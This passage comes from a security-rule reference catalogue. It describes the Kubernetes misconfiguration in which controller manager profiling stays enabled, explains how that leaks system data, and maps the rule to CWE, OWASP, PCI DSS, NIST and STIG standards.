[41] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-000460 CAT I, APSC-DV-000470 CAT II
[53] Standards Mapping - Web Application Security Consortium Version 2.00 Insufficient Authentication (WASC-01)
[54] Standards Mapping - Web Application Security Consortium 24 + 2 Insufficient Authorization
desc.structural.yaml.kubernetes_misconfiguration_automated_iptables_management_disabled.base

Kubernetes Misconfiguration: Controller Manager Profiling

Abstract
A Kubernetes component leaks system information.
Explanation
If profiling is enabled, a component provides performance metrics through a web interface. The performance metrics reveal system data that help an adversary form a plan of attack. Either the --profiling flag is not present in the command to start the component or the flag is set to true.
References
[1] Kubernetes Components The Kubernetes Authors
[2] Kubernetes API Server The Kubernetes Authors
[3] Kubernetes controller manager The Kubernetes Authors
[4] Standards Mapping - CIS Kubernetes Benchmark Recommendation 1.3.2
[5] Standards Mapping - Common Weakness Enumeration CWE ID 215, CWE ID 489, CWE ID 497
[6] Standards Mapping - Common Weakness Enumeration Top 25 2019 [4] CWE ID 200
[7] Standards Mapping - Common Weakness Enumeration Top 25 2020 [7] CWE ID 200
[8] Standards Mapping - Common Weakness Enumeration Top 25 2021 [20] CWE ID 200
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [17] CWE ID 200
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001312, CCI-001314, CCI-002420
[11] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[12] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-4 Information Flow Enforcement (P1), SC-8 Transmission Confidentiality and Integrity (P1), SI-11 Error Handling (P2)
[13] Standards Mapping - NIST Special Publication 800-53 Revision 5 AC-4 Information Flow Enforcement, SC-8 Transmission Confidentiality and Integrity, SI-11 Error Handling
[14] Standards Mapping - OWASP API 2023 API8 Security Misconfiguration
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 8.3.4 Sensitive Private Data (L1 L2 L3), 14.3.2 Unintended Security Disclosure Requirements (L1 L2 L3), 14.3.3 Unintended Security Disclosure Requirements (L1 L2 L3), 14.2.2 Dependency (L1 L2 L3)
[16] Standards Mapping - OWASP Mobile 2014 M2 Insecure Data Storage
[17] Standards Mapping - OWASP Top 10 2007 A6 Information Leakage and Improper Error Handling
[18] Standards Mapping - OWASP Top 10 2017 A6 Security Misconfiguration
[19] Standards Mapping - OWASP Top 10 2021 A05 Security Misconfiguration
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.6
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.5
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.5
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.5
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.5
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.5
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[28] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 3.6 - Sensitive Data Retention
[29] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 3.6 - Sensitive Data Retention
[30] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 3.6 - Sensitive Data Retention
[31] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3620 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3620 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3620 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3620 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3620 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3620 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3620 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II
[54] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[55] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.structural.yaml.kubernetes_misconfiguration_api_server_profiling.base